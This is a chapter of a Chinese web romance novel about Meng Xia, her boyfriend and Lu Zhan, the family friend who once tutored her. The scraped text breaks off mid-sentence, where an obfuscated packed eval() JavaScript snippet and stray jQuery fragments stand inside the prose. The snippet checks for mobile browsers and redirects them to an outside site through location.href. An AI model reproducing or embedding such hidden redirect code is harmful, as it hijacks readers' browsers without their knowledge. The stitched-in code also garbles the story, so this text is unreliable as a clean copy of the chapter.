11. 第11章

作品:《挂号挂到前男友

    “你怎么来了?”孟夏眉头微蹙。


    祝炎枫快步走到床边坐下,一把握住她的手腕,“怎么回事?怎么突然进医院了?严不严重?”


    孟夏似笑非笑地看着他,未置一词。


    一想到昨晚那几通故意未接的电话,祝炎枫有些心虚。


    昨天那样,不过就是为了在朋友面前挣个面子,晚上回家后他后悔得肠子都青了。


    “对不起....”他声音低了些,忍不住伸出手臂想要抱抱孟夏。


    “别动。”


    还没触碰到孟夏的身体,祝炎枫就被一个声音制止在原地。


    站在病床另一侧的陆瞻不知什么时候戴上了眼镜,镜片后的目光落在祝炎枫悬空的手臂上,语气平淡地提醒:“她刚做完手术,你最好不要随便碰她。”


    祝炎枫闻言,悬在半空的手立刻收了回去,这才真正注意到病房里的男人。


    听见这个略感耳熟的声音,他很快反应过来。


    今早为了求和,他特地买了早饭送到孟夏家门口,可敲了半天也不见有人,便拿出手机给她打了通电话。


    前两通都无人接听,他以为是孟夏还在生气,故意不理他,直到第三通电话,在他准备放弃挂断的前一秒,听筒里终于传来了一道陌生男人的声音。


    祝炎枫很快调整好表情,大方起身,真诚感激,伸出右手,“你好!我是夏夏的男朋友,祝炎枫。早上那通电话....是你接的吧?谢谢!”


    陆瞻听见“男朋友”三个字短促地笑了声,瞥了眼病床上的人,举起手臂礼貌回握,却没顺着自我介绍。


    孟夏看着两人交握的手,只觉得腹部的伤口莫名地抽疼了一下,连带太阳穴都开始突突地跳。


    没收到对方身份信息的祝炎枫有些疑惑地又看向孟夏,孟夏抑制住想瞪陆瞻一眼的冲动,扯了扯唇角:“陆瞻,我....哥。”


    久违的称呼,别说,还真是有些...烫嘴。


    听见这个身份,祝炎枫眼睛明显亮了一下,恋爱这么久,他还是第一次见到孟夏的家人。


    原本握着的手没有松开,反而另一只手也热情地覆了上去:


    “陆瞻哥。”


    -


    “什么?”坐在沙发上看电视的孟夏没听清林微澜的话,又问了一遍,“您刚说什么?我把电视音量调小点。”


    “我说,你要喊陆瞻哥。”林微澜沏了壶茶,在她旁边的单人沙发上坐下,“以前还懂点礼貌,现在怎么越大越回去了?总是直呼其名,没大没小,不像话。”


    孟夏心里冷哧一声,以前那是因为不知道他的真面目,她嘴上敷衍着,“诶呀,喊名字显得亲昵,证明我们之间没有代沟。”


    “最后半年了,你再加把劲。”林微澜叹了口气,“不然我和你爸做了一辈子老师,到头来自家孩子连个像样的大学都考不上,说出去像什么样子。”


    午饭前,陆瞻来了。


    孟夏上回见他还是半年前的暑假,这人似乎清瘦了点,不过也没准是黑色羽绒服显瘦。


    “外面冷吧?快把外套脱了,进屋喝点热水暖暖。”林微澜一边招呼他,一边转身进厨房端菜,“这几天正好,你帮夏夏看看她的化学,这孩子化学怎么补都不见起色,愁死人了。”


    “好。”陆瞻脱下外套挂好。


    饭后,林微澜和孟征拎着早就准备好的礼品出去串门,孟夏对这种需要笑脸应酬的场合一向避之不及,想到过完年就要高考,林微澜这回倒也没强求她,只叮嘱她老老实实在家,听陆瞻哥哥的话,好好补习功课。


    孟夏的卧室,陆瞻不是第一次进。


    和她平时有些散漫的性子不同,她的房间一向被打理得干净整洁,尤其是那张书桌,虽然学习成绩一般,但各种五颜六色的文具、摞得整整齐齐的课本和辅导书,看得出主人花了不少心思。


    陆瞻正在翻看她上学期的化学试卷,孟夏坐在一旁百无聊赖地按着新买的一支多色圆珠笔,咔哒咔哒,一下又一下。


    “氧化还原反应考一次你错一次,今天,先讲这个。”


    孟夏撑着脑袋看向窗外,外面开始飘起了雪花,“下雪了,也不知道地上能不能堆起来,还想堆雪人呢。”


    “能。”陆瞻头也没抬,“我来的时候,路面已经有积雪了。”


    “哦。”孟夏听见他的声音,刚提起的那点兴致又消散了些,继续有一搭没一搭地按着笔帽。


    “以这道题为例,考的是还原性强弱的比较....”


    孟夏偏过头,视线终于落在一本正经地陆瞻的身上,身体微微前倾凑近几分,打断他:“陆瞻。”


    陆瞻好脾气地看向她。


    “宁拆一座庙,不毁一桩婚的意思,你知道吗?”


    他微微皱眉,“你的语文也需要补习?”


    “哼。”孟夏没好气地瞪了他一眼,“反正都怪你,你得补偿我。”


    不然,我早就知道初吻和初恋是什么感觉了。


    “嗯,补偿。”陆瞻没想和她计较,他只想尽快完成林微澜布置的任务。


    晚上吃完饭,林微澜让孟夏送送陆瞻。


    陆瞻回绝:“不用了老师,外面冷。”


    “让她送!”林微澜推了推磨蹭的孟夏,“一天没出门了,正好让她下去呼吸呼吸新鲜空气,换换脑子,没准回来做题能清醒点。”


    孟夏内心无语,却拗不过母亲,只得慢吞吞地套上厚重的羽绒服,不情不愿地开了门。


    楼道里比屋里冷了不少,下到一楼单元门口,外面的积雪已经很厚,踩上去发出“咯吱咯吱”的闷响,寒风裹挟着雪片直扑在脸上,孟夏缩了缩脖子,把羽绒服的领子拢紧了些。


    花坛旁边有两个穿的美丽冻人的女生,正举着一台拍立得相机,嘻嘻哈哈地互相拍照。


    孟夏不由自主地停下脚步,目光被吸引过去,脑海里却突然不合时宜地浮现出好友曾佳怡之前说过的话:


    “实在不行,你就让他补偿你呗......赔你一个初吻。”


    “他长得那么好,反正你横竖都不吃亏。”


    孟夏下意识地瞥了一眼身旁的人,这人......什么时候长这么高了?


    她自己上学期体检,净身高一米六八,加上脚上这双厚底棉拖,怎么也得有一米七多,可站在陆瞻旁边,却好像才刚超过他肩膀的位置。


    “冷了?”陆瞻见她半天未动,“就送到这儿吧,你赶紧回去。”


    雪似乎越下越大,孟夏抿了抿嘴,呼出一口白气,“你下午说要补偿我的话,算数吧?”


    “嗯。”陆瞻扭过头看向她,想到刚才她盯着那两个女生拍照的样子,心里了然,“想要拍立得?”


    他以为孟夏所谓的补偿是物质,常年在孟家吃饭,他自然心怀感恩,每年过年都会给孟夏准备一份新年礼物,今年也不例外,他新购了一块女士机械手表打算和往常一样除夕那晚送出去。


    暑假时,孟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202998|197273||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夏曾无意间抱怨过考场的时间总是不准,而孟征送她的那块二手手表款式太旧,她不愿意戴。


    既然她现在想要拍立得,那明天抽空去商场一趟就是了,不是什么大事。


    “不是。”孟夏靠近他两步,语气有些不自然,“我说的补偿不是这个。”


    “那是什么?”


    雪花一片片落在陆瞻的头发上、肩膀上、睫毛上,孟夏扯了一下他的胳膊,“你过来点。”


    陆瞻以为她怕自己听不清,顺从地微微俯身,又靠近了一些。


    孟夏脸颊微微发烫,心跳也开始不受控制地加速,看着他近在咫尺的脸庞和他眼底倒映出的漫天飞雪,她忽然鼓起勇气,抬起下巴,吻上陆瞻的唇。


    世界静止。


    一秒,两秒。


    原来....男生的嘴唇,也这么软的吗?


    这就是接吻的感觉?


    孟夏觉得自己像被轻柔的电流击中,从唇齿蔓延到四肢,酥麻不已。


    除夕那天晚上,陆瞻没有像往年一样出现在孟家的年夜饭桌上,孟夏若无其事地问:“妈,你没喊那个谁吗?”


    “哪个谁?怎么越来越没礼貌了?”林微澜放下手里的汤碗,不悦地瞪了她一眼,“陆瞻去他外婆家过年了,一大早就过来打过招呼了。”


    说完,扬了扬下巴,示意茶几的方向:“喏,给你带的新年礼物,放那儿了。”


    陆瞻的外婆家不在晏城,在距离晏城一百多公里的宜城。


    孟夏“哦”了一声,起身去拿那个包装精致的礼盒,一边拆一边嘀咕:“怎么今年突然去那边了?年夜饭不是一直和我们一起吃的嘛......”


    盒子里是一款设计简约时尚的女士腕表,表盘精致,她迫不及待地戴在手腕上试了试,大小正合适。


    眼光还挺好。


    “我还想问你呢,”林微澜摆好碗筷,看向她,“是不是你惹人不高兴了?陆瞻拿了两本他高三时的复习笔记过来,说他今年寒假在那边过,没法继续辅导你的化学了,让你有不懂的问题可以给他发消息,他看到会回复。”


    孟夏哼了声,有些心虚,但仍旧否认:“我惹陆瞻?我能怎么惹他不高兴...”


    “还一口一个‘陆瞻’‘陆瞻’,说了多少次了,就是不改。”


    改什么改,之前是不想喊。


    现在是…喊不出口。


    孟夏撇撇嘴,放下手表,拿出手机,点开那个沉在底部的黑色头像,犹豫一下,发了一条消息过去:


    [怎么没来吃饭?]


    大约等了十分钟,石沉大海,毫无回音。


    耐心告罄,孟夏又点开聊天框,指尖在屏幕上敲敲打打:[生气了?是你答应的给我补偿。]


    还是没有回音。


    整个晚饭期间,孟夏每隔几分钟就看一眼手机,连孟征都看不下去了,皱着眉训斥:“吃饭就好好吃饭!总看手机,像什么样子!”


    直到春晚的倒计时结束,她也没收到陆瞻的任何回复。


    至于吗?孟夏心里有点不是滋味,想到林微澜饭前说的话,她灵机一动,跑到卧室书桌前,翻出自己的化学作业,又编辑一条信息:


    [......这道化学题我有点不太明白,特别是那个离子方程式怎么配平,还有第三问的计算,你能帮我看一下吗?]


    发送。


    前后不过两三分钟,“叮”的一声,手机屏幕亮起,一条新消息跳了出来。